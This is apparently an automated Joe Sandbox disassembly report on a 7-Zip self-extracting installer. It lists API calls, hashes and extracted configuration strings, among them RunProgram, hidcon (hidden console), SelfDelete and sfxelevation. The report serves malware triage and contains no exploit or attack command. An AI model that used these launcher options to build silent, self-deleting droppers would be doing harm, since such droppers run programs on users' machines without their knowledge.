??3@YAXPAX@Z.MSVCRT ref: 00405DE2
??3@YAXPAX@Z.MSVCRT ref: 00405DEA

Part of subcall function 004011B7: ??2@YAPAXI@Z.MSVCRT ref: 004011D7
Part of subcall function 004011B7: ??3@YAXPAX@Z.MSVCRT ref: 004011FD

GetModuleFileNameW.KERNEL32(00000000,00000208), ref: 00405E61
_wtol.MSVCRT(-00000002), ref: 00405F89
??2@YAPAXI@Z.MSVCRT ref: 00406118
??3@YAXPAX@Z.MSVCRT ref: 0040619B
??3@YAXPAX@Z.MSVCRT ref: 00406211
??3@YAXPAX@Z.MSVCRT ref: 0040622D
??3@YAXPAX@Z.MSVCRT ref: 0040626B
wsprintfW.USER32 ref: 00406295
_wtol.MSVCRT(?), ref: 004064B6
??3@YAXPAX@Z.MSVCRT ref: 00406587
??3@YAXPAX@Z.MSVCRT ref: 004065D4
??3@YAXPAX@Z.MSVCRT ref: 004065DC
??3@YAXPAX@Z.MSVCRT ref: 004065FB
??3@YAXPAX@Z.MSVCRT ref: 00406653
??3@YAXPAX@Z.MSVCRT ref: 0040665B
GetCommandLineW.KERNEL32(?,00000000,?,?), ref: 004066C3
??3@YAXPAX@Z.MSVCRT ref: 0040673B
??3@YAXPAX@Z.MSVCRT ref: 00406743
??3@YAXPAX@Z.MSVCRT ref: 0040674B
??3@YAXPAX@Z.MSVCRT ref: 00406753
??3@YAXPAX@Z.MSVCRT ref: 0040675B
GetCurrentProcess.KERNEL32(000000FF,000000FF,?,?,?,?,00000000), ref: 00406767
SetProcessWorkingSetSize.KERNEL32(00000000), ref: 0040676E
??3@YAXPAX@Z.MSVCRT ref: 0040678A
??3@YAXPAX@Z.MSVCRT ref: 00406792
??3@YAXPAX@Z.MSVCRT ref: 0040679A
??3@YAXPAX@Z.MSVCRT ref: 004067A2
??3@YAXPAX@Z.MSVCRT ref: 004067BE
??3@YAXPAX@Z.MSVCRT ref: 004067C6
??3@YAXPAX@Z.MSVCRT ref: 004067CE
??3@YAXPAX@Z.MSVCRT ref: 004067D6
??3@YAXPAX@Z.MSVCRT ref: 0040687F
??3@YAXPAX@Z.MSVCRT ref: 004068A4
??3@YAXPAX@Z.MSVCRT ref: 00406916
CoInitialize.OLE32(00000000), ref: 00406937
lstrlenW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 00406991
_wtol.MSVCRT(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00406A68
??3@YAXPAX@Z.MSVCRT ref: 00406A8B
??3@YAXPAX@Z.MSVCRT ref: 00406AC4
GetKeyState.USER32(00000010), ref: 00406B1B
??3@YAXPAX@Z.MSVCRT ref: 00406C59
??3@YAXPAX@Z.MSVCRT ref: 00406C67
??3@YAXPAX@Z.MSVCRT ref: 00406C92
??3@YAXPAX@Z.MSVCRT ref: 00406C9A
??3@YAXPAX@Z.MSVCRT ref: 00406CB6
??3@YAXPAX@Z.MSVCRT ref: 00406CBE
??3@YAXPAX@Z.MSVCRT ref: 00406CEE
??3@YAXPAX@Z.MSVCRT ref: 00406D2E
??3@YAXPAX@Z.MSVCRT ref: 00406D97
??3@YAXPAX@Z.MSVCRT ref: 00406D9F
??3@YAXPAX@Z.MSVCRT ref: 00406E64
??3@YAXPAX@Z.MSVCRT ref: 00406E6F
GetFileAttributesW.KERNEL32(?,00000000,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406E79
??3@YAXPAX@Z.MSVCRT ref: 00406F33
??3@YAXPAX@Z.MSVCRT ref: 00406F3B
_wtol.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00406FCF
??3@YAXPAX@Z.MSVCRT ref: 004071AE
??3@YAXPAX@Z.MSVCRT ref: 004071B6
??3@YAXPAX@Z.MSVCRT ref: 004071DA
??3@YAXPAX@Z.MSVCRT ref: 00407223
??3@YAXPAX@Z.MSVCRT ref: 0040722B
??3@YAXPAX@Z.MSVCRT ref: 00407233
??3@YAXPAX@Z.MSVCRT ref: 00407239
??3@YAXPAX@Z.MSVCRT ref: 00407249
??3@YAXPAX@Z.MSVCRT ref: 00407251
??3@YAXPAX@Z.MSVCRT ref: 0040726E
??3@YAXPAX@Z.MSVCRT ref: 00407276
??3@YAXPAX@Z.MSVCRT ref: 0040727E
??3@YAXPAX@Z.MSVCRT ref: 00407286
??3@YAXPAX@Z.MSVCRT ref: 0040728E
??3@YAXPAX@Z.MSVCRT ref: 004072AF
??3@YAXPAX@Z.MSVCRT ref: 004072B7
??3@YAXPAX@Z.MSVCRT ref: 004072C3

Part of subcall function 00409606: wvsprintfW.USER32(?,00000000,?), ref: 0040962A
Part of subcall function 00409606: GetLastError.KERNEL32 ref: 0040963B
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,004072DC), ref: 00409663
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,004072DC), ref: 00409678
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 0040968B
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 00409692
Part of subcall function 00409606: ??2@YAPAXI@Z.MSVCRT ref: 004096A7
Part of subcall function 00409606: lstrcpyW.KERNEL32(00000000,?), ref: 004096BD
Part of subcall function 00409606: lstrcpyW.KERNEL32(-00000002,?), ref: 004096CE
Part of subcall function 00409606: ??3@YAXPAX@Z.MSVCRT ref: 004096D7
Part of subcall function 00409606: LocalFree.KERNEL32(?), ref: 004096E1

??3@YAXPAX@Z.MSVCRT ref: 004072E4
??3@YAXPAX@Z.MSVCRT ref: 004072EC
??3@YAXPAX@Z.MSVCRT ref: 004072F4
??3@YAXPAX@Z.MSVCRT ref: 004072FA
??3@YAXPAX@Z.MSVCRT ref: 00407302
??3@YAXPAX@Z.MSVCRT ref: 0040730A
??3@YAXPAX@Z.MSVCRT ref: 00407312
??3@YAXPAX@Z.MSVCRT ref: 00407331
??3@YAXPAX@Z.MSVCRT ref: 00407339
??3@YAXPAX@Z.MSVCRT ref: 00407341
??3@YAXPAX@Z.MSVCRT ref: 00407347
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,00000000,?,?), ref: 00407380
??3@YAXPAX@Z.MSVCRT ref: 004073AA
??3@YAXPAX@Z.MSVCRT ref: 0040746E
??3@YAXPAX@Z.MSVCRT ref: 00407476
??3@YAXPAX@Z.MSVCRT ref: 0040748D
??3@YAXPAX@Z.MSVCRT ref: 004074A1
??3@YAXPAX@Z.MSVCRT ref: 004074A9
MessageBoxA.USER32(00000000,Sorry, this program requires Microsoft Windows 2000 or later.,7-Zip SFX,00000010), ref: 004074C2

Strings

7-Zip SFX, xrefs: 004074B6
GUIMode, xrefs: 004063D9
pA, xrefs: 00405F55
" -, xrefs: 004066E4
AutoInstall, xrefs: 00406B51, 00406BAC, 00406F13
Sorry, this program requires Microsoft Windows 2000 or later., xrefs: 004074BB
nowait, xrefs: 00406F68
7zSfxVarSystemLanguage, xrefs: 00405D52
x64, xrefs: 00407061
waitall, xrefs: 00406EA5
7zSfxVarSystemPlatform, xrefs: 00405D07
SelfDelete, xrefs: 0040645F, 0040743C
del, xrefs: 00407004
7zSfxVarCmdLine2, xrefs: 004062CD, 00406675
sfxelevation, xrefs: 00405E14, 004066DF
ExecuteFile, xrefs: 00406ADB, 00406BD7, 00406BE5
sfxwaitall, xrefs: 00405DF8
sfxconfig, xrefs: 00405FEE, 004061C0
x86, xrefs: 00405CEF, 00407028
sfxlang, xrefs: 00405D63
7zSfxVarCmdLine0, xrefs: 00405D12
A, xrefs: 00406CDE
RunProgram, xrefs: 00406AE0, 00406BFB, 00406C09
$A, xrefs: 0040610C
ExecuteParameters, xrefs: 004070C7
7ZipSfx.%03x, xrefs: 00406CD1
0A, xrefs: 00405E4F
SfxAuthor, xrefs: 0040696B
sfxversion, xrefs: 00405DB3
BeginPrompt, xrefs: 00406AEB
0A, xrefs: 00406047
shc, xrefs: 00406FE4
7zSfxVarCmdLine1, xrefs: 0040661A
7zSfxVarModulePlatform, xrefs: 00405CF4
7zSfxString%d, xrefs: 0040628F
forcenowait, xrefs: 00406F8C
GUIFlags, xrefs: 004063FC
HelpText, xrefs: 004068CA
setup.exe, xrefs: 00406E2C, 00406E31, 00406E8C
A, xrefs: 00406951
Delete, xrefs: 0040738F
SetEnvironment, xrefs: 004067FC, 00406804, 0040688B
OverwriteMode, xrefs: 00406395
BeginPromptTimeout, xrefs: 004064E0, 00406A55
MiscFlags, xrefs: 0040641F
0A, xrefs: 0040603D
Shortcut, xrefs: 00407367
hidcon, xrefs: 00406F4A
FinishMessage, xrefs: 004073D6
bpt, xrefs: 004064C7
amd64, xrefs: 0040704E
A, xrefs: 00406CFC
123456789ABCDEFGHJKMNPQRSTUVWXYZ, xrefs: 004069BD
i386, xrefs: 0040703B
InstallPath, xrefs: 00406941

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??3@$Message_wtol$lstrlen$??2@wsprintf$CommandCurrentFileFormatLineModuleProcessTimerlstrcpy$?_set_new_handler@@AttributesCallbackCreateDirectoryDispatchDispatcherErrorFolderFreeHandleInitializeKillLastLocalNamePathSizeSpecialStateUserVersionWindowWorkingwvsprintf
String ID: " -$$A$0A$0A$0A$123456789ABCDEFGHJKMNPQRSTUVWXYZ$7-Zip SFX$7ZipSfx.%03x$7zSfxString%d$7zSfxVarCmdLine0$7zSfxVarCmdLine1$7zSfxVarCmdLine2$7zSfxVarModulePlatform$7zSfxVarSystemLanguage$7zSfxVarSystemPlatform$AutoInstall$BeginPrompt$BeginPromptTimeout$Delete$ExecuteFile$ExecuteParameters$FinishMessage$GUIFlags$GUIMode$HelpText$InstallPath$MiscFlags$OverwriteMode$RunProgram$SelfDelete$SetEnvironment$SfxAuthor$Shortcut$Sorry, this program requires Microsoft Windows 2000 or later.$amd64$bpt$del$forcenowait$hidcon$i386$nowait$pA$setup.exe$sfxconfig$sfxelevation$sfxlang$sfxversion$sfxwaitall$shc$waitall$x64$x86$A$A$A
API String ID: 1301190434-1447873201
Opcode ID: 80ae3e338bd2c6bf34f732366e6f21bef20734440bf6bcc7836777fffa1ed4bd
Instruction ID: 37b3d77bb6f8fb102f6eda89de8ddb12e9592f0eac1975534991a7b966549d26
Opcode Fuzzy Hash: 80ae3e338bd2c6bf34f732366e6f21bef20734440bf6bcc7836777fffa1ed4bd
Instruction Fuzzy Hash: 69E2E271904208AADF25AF62DC46AEE3768EF04304F54403BFD06B61D2EB7D9991CB5E

Function 004039E7 Relevance: 10.6, APIs: 7, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(00401A74,00000000,?,?,?,?,?,?,00401A74,?), ref: 004039F4
GetSystemTimeAsFileTime.KERNEL32(?,00401A74,?,?,?,?,00401A74,?), ref: 00403A6A
GetFileAttributesW.KERNELBASE(?,?,?,?,?,00401A74,?), ref: 00403A71
??3@YAXPAX@Z.MSVCRT ref: 00403B30

Part of subcall function 004011B7: ??2@YAPAXI@Z.MSVCRT ref: 004011D7
Part of subcall function 004011B7: ??3@YAXPAX@Z.MSVCRT ref: 004011FD

memcpy.MSVCRT ref: 00403AC2
??3@YAXPAX@Z.MSVCRT ref: 00403AFF
??3@YAXPAX@Z.MSVCRT ref: 00403B45

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??3@$FileTime$??2@AttributesSystemlstrlenmemcpy
String ID:
API String ID: 846840743-0
Opcode ID: 61fbb82b866355ca103b6651924008aad8ffda89ca2a341e34f636fd10af957e
Instruction ID: 952cd346550c55d7e35c26256f51fad4d5ed31c9206aabe41908170679320093
Opcode Fuzzy Hash: 61fbb82b866355ca103b6651924008aad8ffda89ca2a341e34f636fd10af957e
Instruction Fuzzy Hash: 4141E836A00112AADB20AF59C841ABF7B7CEB4170AF50413BEC81B21D1D77D5A4286DD

Function 00402665 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(kernel32,GetNativeSystemInfo,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 00402675
GetProcAddress.KERNEL32(00000000), ref: 0040267C
GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 0040268A

Strings

GetNativeSystemInfo, xrefs: 0040266B
kernel32, xrefs: 00402670

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressInfoLibraryLoadNativeProcSystem
String ID: GetNativeSystemInfo$kernel32
API String ID: 2103483237-3846845290
Opcode ID: 19664b54b855b72bcbaa716dd824881a6f451c3f2b4ed8b8d333fe071d6dfa80
Instruction ID: 08739c12cb3b948957cf2c0406c7fd7347f4194bf9f07d28511d247575205d7a
Opcode Fuzzy Hash: 19664b54b855b72bcbaa716dd824881a6f451c3f2b4ed8b8d333fe071d6dfa80
Instruction Fuzzy Hash: AAD05EB0A0520576CB00ABB15D0E9EB7AEC5A48608B144461A806F00C5EAADDD90C36A

Function 0040367D Relevance: 7.5, APIs: 5, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE(?,-00000001), ref: 0040368B
SetLastError.KERNEL32(00000010), ref: 004036A0

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID:
API String ID: 1799206407-0
Opcode ID: d36faaefddfd81e2762f97a3370e571bf9c3961ee8d128041245bb49f3de1fe9
Instruction ID: 2afa7e6ed9b3c4e8b0be6899d5053f20146e769dcf51bfeaf0e83b5e475a48be
Opcode Fuzzy Hash: d36faaefddfd81e2762f97a3370e571bf9c3961ee8d128041245bb49f3de1fe9
Instruction Fuzzy Hash: 7001AD30402014BEDB206F759C099EA3B5CAF0132AF204E32F822F23D0D739CB469A5E

Function 0040122A Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

GetDiskFreeSpaceExW.KERNELBASE(?,00000000,00000000), ref: 00401246
SendMessageW.USER32(00008001,00000000,?), ref: 0040129F

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: DiskFreeMessageSendSpace
String ID:
API String ID: 696007252-0
Opcode ID: af37885296c4e33022f6aa73873594c733a529e1bca2c9c6b159ebc59711ebec
Instruction ID: 952f35bfd535ad09d3a1e6728af904cc40037fdc81ed9fa17bdc1f07510a46f8
Opcode Fuzzy Hash: af37885296c4e33022f6aa73873594c733a529e1bca2c9c6b159ebc59711ebec
Instruction Fuzzy Hash: 3F016DB4611208ABEB94DB52DC45F9A77A9AB01714F10807EFD00FA1F0C7B9A9808B1D

Function 00401B0B Relevance: 22.8, APIs: 15, Instructions: 304
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55ca3ee3d26e98f30d69d3e888b340bde38f36a0fcd7a85b294178b1590f4b85
Instruction ID: f12f3cbfd9e378c4fb4e9f7b852960855991058b71a72fc1bb9c774fc2295476
Opcode Fuzzy Hash: 55ca3ee3d26e98f30d69d3e888b340bde38f36a0fcd7a85b294178b1590f4b85
Instruction Fuzzy Hash: 2CB18071900204EFCF15EFA5C8849EEB7B5FF44304B20852BF812A72A1DB78E945CB59

Function 00402017 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 47
timewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000,00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402023
CreateWindowExW.USER32(00000000,Static,0041A584,00000000,000000F6,000000F6,00000005,00000005,00000000,00000000,00000000), ref: 00402040
SetTimer.USER32(00000000,00000001,00000001,00000000), ref: 00402052
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0040205F
DispatchMessageW.USER32(?), ref: 00402069
KillTimer.USER32(00000000,00000001,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402072
KiUserCallbackDispatcher.NTDLL(00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402079

Strings

Static, xrefs: 0040203A

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageTimer$CallbackCreateDispatchDispatcherHandleKillModuleUserWindow
String ID: Static
API String ID: 2479445380-2272013587
Opcode ID: 947087521f2d8a527adb1e132fdb1a2ab70df0e469f5237fcb2ff151bfac6e68
Instruction ID: 2d78b022e2fbb31551ae1a24c66cabd830678dfcab2333de03de12e069c17b52
Opcode Fuzzy Hash: 947087521f2d8a527adb1e132fdb1a2ab70df0e469f5237fcb2ff151bfac6e68
Instruction Fuzzy Hash: 2BF062325472217BCA312BA69C4DEEF3E2DEF46BB1F004260F619A11D1DAB94111C6BA

Function 00414491 Relevance: 12.6, APIs: 8, Instructions: 565
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT ref: 00414501
??2@YAPAXI@Z.MSVCRT ref: 0041454B

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 8c275e2cc856adcccae56b2b03b23110c5135f8455b1c708b9d72e7dbd912df9
Instruction ID: b54dbc60db56bc1e6d6afd4c66008574e1cbac59b919e387d83e05da41c529ad
Opcode Fuzzy Hash: 8c275e2cc856adcccae56b2b03b23110c5135f8455b1c708b9d72e7dbd912df9
Instruction Fuzzy Hash: 89321271900249DFCB14DFA5C8848EEBBB5BF88308B14456EF9169B351CB39E985CF98

Function 004053B2 Relevance: 10.6, APIs: 7, Instructions: 78
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 004053D6
??3@YAXPAX@Z.MSVCRT ref: 0040542F
??3@YAXPAX@Z.MSVCRT ref: 00405437
ShellExecuteExW.SHELL32(?), ref: 00405455
WaitForSingleObject.KERNEL32(004071CC,000000FF), ref: 0040546D
CloseHandle.KERNEL32(004071CC), ref: 00405476
??3@YAXPAX@Z.MSVCRT ref: 0040547D

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??3@$CloseExecuteHandleObjectShellSingleWaitmemset
String ID:
API String ID: 2700081640-0
Opcode ID: a85339e1bd803a9382c8719e0269a721a92dd258667116cddf8bfe46f874b10c
Instruction ID: a17db50f12ff5cb4ace43bc03755f74cf1bf378a7c310b81d7eb3e61b1d8450d
Opcode Fuzzy Hash: a85339e1bd803a9382c8719e0269a721a92dd258667116cddf8bfe46f874b10c
Instruction Fuzzy Hash: 3D212B71804208ABDB119FD5D885AEFBBB8EF44319F10812BE915B61A1D7785985CF84

Function 00401E6B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(a:@,00000000,-00000001,00403A61,?,00401A74,?,?,?,?,00401A74,?), ref: 00401E72
GetLastError.KERNEL32(?,?,?,?,00401A74,?), ref: 00401E7C
SetLastError.KERNEL32(000000B7,?,?,?,?,00401A74,?), ref: 00401E8C
GetFileAttributesW.KERNELBASE(?,?,?,?,?,00401A74,?), ref: 00401E9A

Strings

a:@, xrefs: 00401E6E

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorLast$AttributesCreateDirectoryFile
String ID: a:@
API String ID: 635176117-3844204524
Opcode ID: 2870007de936e2cd6bf86a77b59755239ded30d6049a6d438da8b23bd184778b
Instruction ID: 62bb911204df67689409a0bf299a5fa733f048eefc6419992ca9e78119752425
Opcode Fuzzy Hash: 2870007de936e2cd6bf86a77b59755239ded30d6049a6d438da8b23bd184778b
Instruction Fuzzy Hash: 0CE09A3494A210BFEB212B24FC087DF3B549F01321F608A36FC19E21F0C3388852868A

Function 00416891 Relevance: 7.6, APIs: 5, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.MSVCRT ref: 004168E8
memmove.MSVCRT ref: 0041697F
??3@YAXPAX@Z.MSVCRT ref: 0041698B

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??3@memcpymemmove
String ID:
API String ID: 3549172513-0
Opcode ID: 85b00a1da2e75e8d58eb8ba0f360279bf7837f3aab605fd12771fdc2f3034734
Instruction ID: 6694c7cce515cef0b0cd55d5e6bb9cb7435d9f647c4cb47c4d4af15ebe31c866
Opcode Fuzzy Hash: 85b00a1da2e75e8d58eb8ba0f360279bf7837f3aab605fd12771fdc2f3034734
Instruction Fuzzy Hash: 2D41CEB1A10204ABDB20DE65C941BFFB7B9EF44704F16446EE845A7241D738EE81CBA9

Function 00404D0B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32(00000000,?,?), ref: 00404D17

Part of subcall function 00402427: GetUserDefaultUILanguage.KERNEL32(00404D27,?,?), ref: 00402431

Part of subcall function 0040247D: GetLastError.KERNEL32(00000000,?,?), ref: 004024CC
Part of subcall function 0040247D: wsprintfW.USER32 ref: 004024DD
Part of subcall function 0040247D: GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 004024F2
Part of subcall function 0040247D: GetLastError.KERNEL32 ref: 004024F7
Part of subcall function 0040247D: ??2@YAPAXI@Z.MSVCRT ref: 00402512
Part of subcall function 0040247D: GetEnvironmentVariableW.KERNEL32(?,00000000,?), ref: 00402525
Part of subcall function 0040247D: GetLastError.KERNEL32 ref: 0040252C
Part of subcall function 0040247D: lstrcmpiW.KERNEL32(00939188,?), ref: 00402541
Part of subcall function 0040247D: ??3@YAXPAX@Z.MSVCRT ref: 00402551
Part of subcall function 0040247D: SetLastError.KERNEL32(00000003), ref: 00402578
Part of subcall function 0040247D: lstrlenA.KERNEL32(0041B328), ref: 004025AC
Part of subcall function 0040247D: ??2@YAPAXI@Z.MSVCRT ref: 004025C7
Part of subcall function 0040247D: GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 004025F9

Part of subcall function 0040247D: ??3@YAXPAX@Z.MSVCRT ref: 0040256F
Part of subcall function 0040247D: _wtol.MSVCRT(?), ref: 0040260A
Part of subcall function 0040247D: MultiByteToWideChar.KERNEL32(00000000,0041B328,00000001,00939188,00000002), ref: 0040262A

SHGetSpecialFolderPathW.SHELL32(00000000,?,00000000,00000000,?,?,?,?,?,?,?), ref: 00404D9D
wsprintfW.USER32 ref: 00404DB8

Part of subcall function 004035CF: ??2@YAPAXI@Z.MSVCRT ref: 004035D4

Strings

7zSfxFolder%02d, xrefs: 00404DB2

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

